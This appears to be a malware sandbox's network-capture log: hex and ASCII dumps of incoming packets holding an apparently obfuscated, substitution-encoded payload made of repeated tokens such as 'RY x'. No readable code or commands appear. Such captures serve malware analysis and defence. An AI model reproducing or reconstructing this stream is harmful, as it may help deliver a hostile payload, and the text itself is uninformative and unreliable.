2021-10-29 15:55:36 UTC	2689	IN	Data Raw: 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 Data Ascii: Y x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x R
2021-10-29 15:55:36 UTC	2690	IN	Data Raw: 59 52 20 78 20 4f 4f 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 78 4f 20 78 20 4f 6f 78 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 78 4f 20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 59 52 20 78 20 74 59 20 78 20 4f 4f 6f 20 78 20 4b 74 20 78 20 59 52 20 78 20 74 4f 20 78 20 4f 78 51 20 78 20 4b 74 20 78 20 59 59 20 78 20 59 78 20 78 20 4f 78 6f 20 78 20 4f 78 51 20 78 20 4f 78 51 20 78 20 74 4b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 59 78 20 78 20 74 74 20 78 20 6b 45 20 78 20 59 4b 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 6b 51 20 78 20 52 Data Ascii: YR x OOt x YK x Kt x YR x OxO x Oox x Kt x YR x OxO x OOQ x Kt x YR x tY x OOo x Kt x YR x tO x OxQ x Kt x YY x Yx x Oxo x OxQ x OxQ x tK x kk x RY x RY x RY x RY x RY x RY x RY x RY x Yx x tt x kE x YK x kQ x RQ x OxE x OOQ x kQ x RQ x OxE x OOQ x kQ x R
2021-10-29 15:55:36 UTC	2691	IN	Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 6b 20 78 20 4b 51 20 78 20 59 74 20 78 20 4f 78 6f 20 78 20 6b 74 20 78 20 74 78 20 78 20 51 78 20 78 20 4f 6f 6f 20 78 20 4f 78 52 20 78 20 74 78 20 78 20 4f 6f 78 20 78 20 51 78 20 78 20 59 52 20 78 20 4f 4f 59 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 4b 74 20 78 20 59 52 20 78 20 4b 74 20 78 20 52 59 20 78 20 4b 74 20 78 Data Ascii: RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kk x KQ x Yt x Oxo x kt x tx x Qx x Ooo x OxR x tx x Oox x Qx x YR x OOY x OOk x RY x Kt x YR x Kt x RY x Kt x
2021-10-29 15:55:36 UTC	2693	IN	Data Raw: 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6b 20 78 20 6b 52 20 78 20 6b 52 20 78 20 59 74 20 78 20 74 6b 20 78 20 6b 52 20 78 20 6b 52 20 78 20 59 74 20 78 20 74 6b 20 78 20 6b 52 20 78 20 6b 52 20 78 20 59 74 20 78 Data Ascii: x OxY x kO x kQ x RQ x OxE x OOQ x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x tk x kR x kR x Yt x tk x kR x kR x Yt x tk x kR x kR x Yt x
2021-10-29 15:55:36 UTC	2694	IN	Data Raw: 4f 78 78 20 78 20 6b 59 20 78 20 74 6b 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 4f 78 51 20 78 20 4f 6f 78 20 78 20 51 74 20 78 20 4f 4f 6b 20 78 20 6b 59 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 4f 4f 6b 20 78 20 6b 59 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 6b 4b 20 78 20 6b 4f 20 78 20 4b 6b 20 78 20 4f 4f 51 20 78 20 51 74 20 78 20 74 51 20 78 20 4f 78 52 20 78 20 4f 4f 6f 20 78 20 52 6b 20 78 20 51 51 20 78 20 59 4f 20 78 20 4f 4f 4b 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 4f 6f 6f 20 78 20 4f 4f 59 20 78 20 59 59 20 78 20 74 51 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4f 4f 4b 20 78 20 59 4b Data Ascii: Oxx x kY x tk x RR x RY x RY x RY x RY x RY x RY x RY x RY x OOo x OxQ x Oox x Qt x OOk x kY x OOR x tR x OOk x kY x OOR x tR x OxE x kK x kO x Kk x OOQ x Qt x tQ x OxR x OOo x Rk x QQ x YO x OOK x kk x tk x Ooo x Ooo x OOY x YY x tQ x KE x OOk x OOK x YK
2021-10-29 15:55:36 UTC	2695	IN	Data Raw: 74 59 20 78 20 4f 78 59 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 51 51 20 78 20 59 59 20 78 20 4b 45 20 78 20 52 6b 20 78 20 6b 78 20 78 20 59 59 20 78 20 4b 45 20 78 20 52 6b 20 78 20 6b 78 20 78 20 52 59 20 78 20 74 45 20 78 20 52 51 20 78 20 52 59 20 78 20 4f 78 51 20 78 20 4f 4f 59 20 78 20 4f 6f 4f 20 78 20 74 4b 20 78 20 6b 52 20 78 20 51 6b 20 78 20 6b 52 20 78 20 6b 59 20 78 20 74 59 20 78 20 74 4b 20 78 20 6b 59 20 78 20 51 6b 20 78 20 51 78 20 78 20 4f 4f 45 20 78 20 4f 78 6b 20 78 20 52 74 20 78 20 59 4b 20 78 20 4f 4f 59 20 78 20 4f 78 4f 20 78 20 6b 4f 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 4f 45 20 78 20 51 78 20 78 20 4b 74 20 78 20 59 52 20 Data Ascii: tY x OxY x OOO x RY x RY x RY x RY x Oxk x OxQ x kR x QQ x YY x KE x Rk x kx x YY x KE x Rk x kx x RY x tE x RQ x RY x OxQ x OOY x OoO x tK x kR x Qk x kR x kY x tY x tK x kY x Qk x Qx x OOE x Oxk x Rt x YK x OOY x OxO x kO x Kt x YR x OOE x Qx x Kt x YR
2021-10-29 15:55:36 UTC	2697	IN	Data Raw: 20 78 20 4f 78 6b 20 78 20 6b 74 20 78 20 74 6b 20 78 20 51 51 20 78 20 4f 78 74 20 78 20 74 78 20 78 20 59 74 20 78 20 51 74 20 78 20 4f 78 74 20 78 20 74 78 20 78 20 59 74 20 78 20 51 74 20 78 20 4f 78 74 20 78 20 74 78 20 78 20 59 74 20 78 20 51 74 20 78 20 4f 4f 6f 20 78 20 74 6f 20 78 20 52 52 20 78 20 4f 78 52 20 78 20 4b 74 20 78 20 59 74 20 78 20 59 78 20 78 20 59 59 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 78 51 20 78 20 6b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 78 4f 20 78 20 6b 4b 20 78 20 4b 74 20 78 20 59 52 20 78 20 51 74 20 78 20 6b 45 20 78 20 4b 74 20 78 20 59 52 20 78 20 6b 74 20 78 20 6b 4f 20 78 20 4b 74 20 78 20 59 52 20 78 20 6b 74 20 78 20 74 51 20 78 20 4b 74 20 78 20 59 52 20 78 20 74 59 20 78 20 74 59 20 78 20 4b 74 20 78 Data Ascii: x Oxk x kt x tk x QQ x Oxt x tx x Yt x Qt x Oxt x tx x Yt x Qt x Oxt x tx x Yt x Qt x OOo x to x RR x OxR x Kt x Yt x Yx x YY x Kt x YR x OxQ x kt x Kt x YR x OxO x kK x Kt x YR x Qt x kE x Kt x YR x kt x kO x Kt x YR x kt x tQ x Kt x YR x tY x tY x Kt x
2021-10-29 15:55:36 UTC	2698	IN	Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 Data Ascii: RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
2021-10-29 15:55:36 UTC	2699	IN	Data Raw: 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 4b 74 20 78 20 4f 4f 6b 20 78 20 4f 78 52 20 78 20 4f 4f 51 20 78 20 4f 4f 59 20 78 20 74 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 4f 4f 59 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 4f 4f 59 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 4f 4f 59 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 4f 4f 59 20 78 20 74 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 59 6f 20 78 20 74 74 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 Data Ascii: x Rt x OxE x Kt x OOk x OxR x OOQ x OOY x tY x Rt x kO x OOY x tK x OxY x kO x OOY x tK x OxY x kO x OOY x tK x OxY x kO x OOY x tK x OxY x kO x Yo x tt x Rt x OxE x kQ x RQ x OxE x OOQ x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x R
2021-10-29 15:55:36 UTC	2703	IN	Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 4f 4f 78 20 78 20 74 6b 20 78 20 4f 78 52 20 78 20 4b 74 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 59 59 20 78 20 4b 74 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 59 59 20 78 20 4b 74 20 78 20 59 74 20 78 20 4f 6f 4f 20 78 20 59 59 20 78 20 4f 4f 74 20 78 20 4f 4f 4f 20 78 20 74 4b 20 78 20 4f 4f 6f 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b 74 20 78 20 4b 45 20 78 20 59 4f 20 78 20 51 78 20 78 20 4b 74 20 Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RY x OOo x OOx x tk x OxR x Kt x Yt x OoO x YY x Kt x Yt x OoO x YY x Kt x Yt x OoO x YY x OOt x OOO x tK x OOo x Kt x KE x YO x Qx x Kt x KE x YO x Qx x Kt x KE x YO x Qx x Kt x KE x YO x Qx x Kt x KE x YO x Qx x Kt
2021-10-29 15:55:36 UTC	2707	IN	Data Raw: 78 20 6b 78 20 78 20 4f 78 52 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 74 45 20 78 20 4f 78 4b 20 78 20 4f 4f 4f 20 78 20 59 4b 20 78 20 4f 4f 52 20 78 20 52 6b 20 78 20 52 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 4f 4f 45 20 78 20 59 78 20 78 20 4f 78 52 20 78 20 4f 78 6b 20 78 20 59 45 20 78 20 51 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 4f 78 51 20 78 20 4f 6f 78 20 78 20 51 74 20 78 20 4f 4f 6b 20 78 20 6b 59 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 4f 4f 4b 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 4b 45 20 78 20 6b 78 20 78 20 4f 78 52 20 78 20 59 6f 20 78 20 4f 4f 59 20 78 20 74 52 20 78 20 52 74 20 78 20 4f 4f 51 20 78 20 Data Ascii: x kx x OxR x tO x Oox x tE x OxK x OOO x YK x OOR x Rk x Rt x Kt x Yt x OOE x Yx x OxR x Oxk x YE x Qx x RY x RY x RY x RY x RY x RY x RY x RY x OOo x OxQ x Oox x Qt x OOk x kY x OOR x tR x OOK x kk x tk x Ooo x KE x kx x OxR x Yo x OOY x tR x Rt x OOQ x
2021-10-29 15:55:36 UTC	2709	IN	Data Raw: 51 20 78 20 52 51 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 52 51 20 78 20 52 6b 20 78 20 52 52 20 78 20 52 59 20 78 20 52 51 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 4f 78 78 20 78 20 4f 4f 78 20 78 20 6b 6f 20 78 20 4b 6b 20 78 20 6b 4f 20 78 20 74 6f 20 78 20 4f 78 4b 20 78 20 52 59 20 78 20 6b 59 20 78 20 74 59 20 78 20 4f 78 4b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 4b 74 Data Ascii: Q x RQ x Rt x OxE x OOQ x RQ x Rk x RR x RY x RQ x Rt x OxE x OOQ x Oxx x OOx x ko x Kk x kO x to x OxK x RY x kY x tY x OxK x OxE x RY x RY x RY x RY x Kt x Kt x YR x RY x Kt x Kt x YR x RY x Kt x Kt x YR x RY x Kt x Kt x YR x RY x Kt x Kt x YR x RY x Kt
2021-10-29 15:55:36 UTC	2713	IN	Data Raw: 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4b 6b 20 78 20 51 78 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4f 4f 78 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 6b 51 20 78 20 4f 6f 4f 20 78 20 4f 4f 4f 20 78 20 4f 6f 78 20 78 20 4f 4f 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 59 6f 20 78 20 4f 4f 52 20 78 20 6b 78 20 78 20 52 51 20 78 20 4b 6b 20 Data Ascii: k x Qx x tk x OOR x Kk x Qx x tk x OOR x Kk x Qx x tk x OOR x Kk x Qx x tk x OOR x Kk x Qx x tk x OOR x Kk x Qx x tk x OOR x OOx x OxQ x kR x kQ x OoO x OOO x Oox x OOK x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x Yo x OOR x kx x RQ x Kk
2021-10-29 15:55:36 UTC	2717	IN	Data Raw: 78 20 4f 6f 78 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 6b 4b 20 78 20 6b 4f 20 78 20 4b 6b 20 78 20 4f 4f 4b 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 6b 45 20 78 20 4b 6b 20 78 20 4f 4f 4b 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 4f 78 45 20 78 20 6b 4b 20 Data Ascii: x Oox x Qt x OxE x kK x kO x Kk x OOK x kk x tk x Ooo x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOR x tR x kE x Kk x OOK x kk x tk x Ooo x OxE x kK
2021-10-29 15:55:36 UTC	2721	IN	Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 59 74 20 78 20 59 52 20 78 20 4b 45 20 78 20 4f 4f 74 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f 6f 4f 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 59 59 20 78 20 4f Data Ascii: RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x Yt x YR x KE x OOt x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x OoO x Oxk x Yo x YY x O
2021-10-29 15:55:36 UTC	2725	IN	Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 74 74 20 78 20 52 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 74 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 74 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 52 59 20 Data Ascii: x RY x RY x RY x RY x RY x OxE x RY x Rt x RY x RY x tE x Rt x RY x RY x RY x Rt x RY x OxE x tE x RY x RY x OOQ x tt x Rk x RY x RY x RY x RY x RY x Kt x OOQ x RY x RY x Kt x OOQ x RY x RY x RY x kx x Kt x Kt x RY x kx x YR x RY x RY x RY x Rk x Kt x RY
2021-10-29 15:55:36 UTC	2729	IN	Data Raw: 78 20 6b 51 20 78 20 4f 78 78 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 74 51 20 78 20 74 78 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 59 6f 20 78 20 4f 78 4b 20 78 20 6b 74 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 4b 45 20 78 20 6b 51 20 78 20 6b 52 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 6b 78 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 59 45 20 78 20 4f 78 4b 20 78 20 6b 74 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 4b 45 20 78 20 6b 51 20 78 20 6b 52 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 6b 78 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 59 45 20 78 20 4f 78 4b 20 78 20 6b 74 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 4b 45 20 Data Ascii: x kQ x Oxx x OOY x RY x kx x tQ x tx x Qt x OxE x Rk x Yo x OxK x kt x OOO x RY x KE x kQ x kR x OOE x RY x kx x OxQ x tx x Qt x OxE x Rk x YE x OxK x kt x OOO x RY x KE x kQ x kR x OOE x RY x kx x OxQ x tx x Qt x OxE x Rk x YE x OxK x kt x OOO x RY x KE
2021-10-29 15:55:36 UTC	2733	IN	Data Raw: 20 4f 78 59 20 78 20 74 6f 20 78 20 52 51 20 78 20 6b 78 20 78 20 4f 4f 6f 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 59 20 78 20 74 6f 20 78 20 4f 4f 6f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 59 78 20 78 20 4f 78 4b 20 78 20 74 6f 20 78 20 6b 6b 20 78 20 4f 4f 78 20 78 20 4b 74 20 78 20 4f 4f 6f 20 78 20 4f 78 59 20 78 20 4f 78 59 20 78 20 52 74 20 78 20 4b 74 20 78 20 59 4b 20 78 20 74 74 20 78 20 4f 78 74 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 78 52 20 78 20 74 45 20 78 20 6b 6b 20 78 20 4f 6f 6f 20 78 20 4b 74 20 78 20 4f 4f 4f 20 78 20 4f 6f 4f 20 78 20 74 78 20 78 20 59 52 20 78 20 4b 74 20 78 20 59 45 20 78 20 51 78 20 78 20 51 74 20 78 20 74 4b 20 78 20 4f 78 6f 20 78 20 4b 45 20 Data Ascii: OxY x to x RQ x kx x OOo x Rk x kO x kY x to x OOo x OxE x RY x RY x RY x Rt x Yx x OxK x to x kk x OOx x Kt x OOo x OxY x OxY x Rt x Kt x YK x tt x Oxt x Oxo x Kt x KE x OxR x tE x kk x Ooo x Kt x OOO x OoO x tx x YR x Kt x YE x Qx x Qt x tK x Oxo x KE
2021-10-29 15:55:36 UTC	2737	IN	Data Raw: 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 6b 20 78 20 74 74 20 78 20 6b 6b 20 78 20 6b 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 6f 20 78 20 59 59 20 78 20 6b 78 20 78 20 6b 6b 20 78 20 4b 74 20 78 20 4b 51 20 78 20 4f 78 78 20 78 20 59 59 20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 59 59 20 78 20 4b 45 20 78 20 4b 6b 20 78 20 4f 78 45 20 78 20 6b 78 20 78 20 59 74 20 78 20 59 4b 20 78 20 51 78 20 78 20 4f 78 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 51 6b 20 78 20 52 51 20 78 20 4f 4f 4f 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4f 6f 4f 20 78 20 Data Ascii: Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x OOk x tt x kk x kY x Kt x Kt x Kt x Kt x Kt x Kt x Kt x OOo x YY x kx x kk x Kt x KQ x Oxx x YY x OOQ x Kt x YY x KE x Kk x OxE x kx x Yt x YK x Qx x OxE x OOk x Kt x Qk x RQ x OOO x YK x Kt x OoO x
2021-10-29 15:55:36 UTC	2741	IN	Data Raw: 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 45 20 78 20 4f 4f 4b 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 74 52 20 78 20 4b 74 20 78 20 4f 6f 6f 20 78 20 59 74 20 78 20 74 6f 20 78 20 6b 78 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 6b 20 78 20 4f 78 4f 20 78 20 59 52 20 78 20 6b 78 20 78 20 4b 74 20 78 20 6b 52 20 78 20 59 4f 20 78 20 4f 4f 6b 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 51 20 78 20 4f 78 78 20 78 20 59 59 20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 6b 20 78 20 4f 78 4f 20 78 20 59 52 20 78 20 6b 78 20 78 20 4b 74 20 78 20 6b 52 20 78 20 59 4f 20 78 20 4f 4f 6b 20 Data Ascii: t x OOK x Kt x KE x OOk x Kt x YK x Kt 